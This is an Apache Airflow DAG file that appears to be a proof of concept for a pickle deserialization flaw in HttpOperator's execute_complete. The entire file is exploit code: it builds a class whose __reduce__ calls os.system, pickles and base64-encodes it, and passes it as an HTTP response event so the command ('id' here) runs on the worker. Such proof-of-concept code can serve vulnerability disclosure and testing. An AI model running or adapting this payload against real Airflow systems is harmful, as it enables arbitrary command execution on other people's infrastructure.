from airflow import DAG
from airflow.operators.python import PythonOperator
from airflow.providers.http.operators.http import HttpOperator
from datetime import datetime
import base64
import pickle
import os

class Exploit:
    def __reduce__(self):
        return (os.system, ("id",))

def simulate_attack(**context):
    payload = base64.b64encode(pickle.dumps(Exploit())).decode()
    
    operator = HttpOperator(task_id="vulnerable_task")

    try:
        operator.execute_complete(
            context=context, 
            event={"response": payload, "status": "success"}
        )
    except Exception:
        pass

with DAG(
    'poc',
    start_date=datetime(1998, 2, 25),
    schedule=None,
    catchup=False
) as dag:

    PythonOperator(
        task_id='poc',
        python_callable=simulate_attack
    )